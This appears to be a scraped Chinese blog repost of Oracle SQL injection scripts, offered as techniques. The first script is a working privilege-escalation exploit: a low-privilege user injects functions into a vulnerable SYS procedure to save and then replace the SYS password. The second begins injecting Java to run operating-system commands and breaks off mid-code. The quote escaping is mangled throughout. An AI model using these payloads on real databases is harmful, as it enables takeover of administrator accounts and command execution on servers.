zoukankan      html  css  js  c++  java
  • Oracle 数据库注入技能

     起原:psyl的 Blog 作者:psyl的 Blog  




    ">
    /*
    Advanced SQL Injection in Oracle databases
    Becoming the SYS user with SQL Injection.
    This script creates functions that can be injected to replace
    the password of the SYS user and to restore it to the original value.
    By Esteban Martinez Fayo
    secemf@gmail.com
    */
    ------------
    -- Execute this as a low privilege user
    ------------
    --This table is optional if you don''''t want to save the old SYS password
    CREATE TABLE "SCOTT"."PSW_DATA" ("USERNAME" VARCHAR2(32 byte) NOT NULL,
    "PSW_HASH" VARCHAR2(30 byte) NOT NULL);
    CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_CHANGEPSW" return varchar2
    authid current_user as
    pragma autonomous_transaction;
    ROW_COUNT NUMERIC;
    PSW VARCHAR2(30);
    BEGIN
    EXECUTE IMMEDIATE ''''SELECT COUNT(*) FROM SCOTT.PSW_DATA'''' INTO ROW_COUNT;
    IF (ROW_COUNT <= 0) THEN
    EXECUTE IMMEDIATE ''''INSERT INTO SCOTT.PSW_DATA select username,
    password from dba_users where username=''''''''SYS'''''''''''';
    EXECUTE IMMEDIATE ''''ALTER USER SYS IDENTIFIED BY newpsw'''';
    END IF;
    COMMIT;
    RETURN '''''''';
    END;
    /
    CREATE OR REPLACE FUNCTION "SCOTT"."SQLI_RESTOREPSW" return varchar2
    authid current_user as
    pragma autonomous_transaction;
    PSW_HASH VARCHAR2(30);
    BEGIN
    EXECUTE IMMEDIATE ''''SELECT PSW_HASH FROM SCOTT.PSW_DATA WHERE 
    USERNAME = ''''''''SYS'''''''''''' INTO PSW_HASH;
    EXECUTE IMMEDIATE ''''ALTER USER SYS IDENTIFIED BY VALUES '''''''''''' || PSW_HASH || '''''''''''''''';
    EXECUTE IMMEDIATE ''''DELETE FROM SCOTT.PSW_DATA where username=''''''''SYS'''''''''''';
    COMMIT;
    RETURN '''''''';
    END;
    /
    -- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists
    -- in a single PL/SQL statement (not in an anonymous PL/SQL block).
    -- See file SQLInjectionLimitation.sql
    -- To change the SYS password execute:
    EXEC SYS.SQLIVULN(''''MANAGER''''''''||SCOTT.SQLI_CHANGEPSW()||'''''''''''');
    -- To restore the SYS password execute:
    EXEC SYS.SQLIVULN(''''MANAGER''''''''||SCOTT.SQLI_RESTOREPSW()||'''''''''''');
    --------------------------------------------------------------------------------------------------------
    /*
    Advanced SQL Injection in Oracle databases
    Executing OS Command with SQL Injection
    By Esteban Martinez Fayo
    secemf@gmail.com
    */
    CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
    authid current_user as
    pragma autonomous_transaction;
    SqlCommand VARCHAR2(2048);
    BEGIN
    SqlCommand := ''''
    CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
    import java.lang.*;
    import java.io.*;
    public >



    版权声明: 原创作品,批准转载,转载时请务必以超链接动作标明文章 原始情由 、作者信息和本声明。不然将追查法令责任。

  • 相关阅读:
    Visual Studio中配置Beyond Compare为版本比较工具
    Restsharp常见格式的发送分析
    dex2jar反编译dex文件
    Apktool反编译apk资源文件
    远程桌面复制粘贴突然失效的问题
    C#4.0 HTTP协议无法使用TLS1.2的问题
    TFS-Git官方教程
    git 换行符问题
    NPM升级
    NodeJS笔记(一)-免安装设置
  • 原文地址:https://www.cnblogs.com/zgqjymx/p/1976091.html
Copyright © 2011-2022 走看看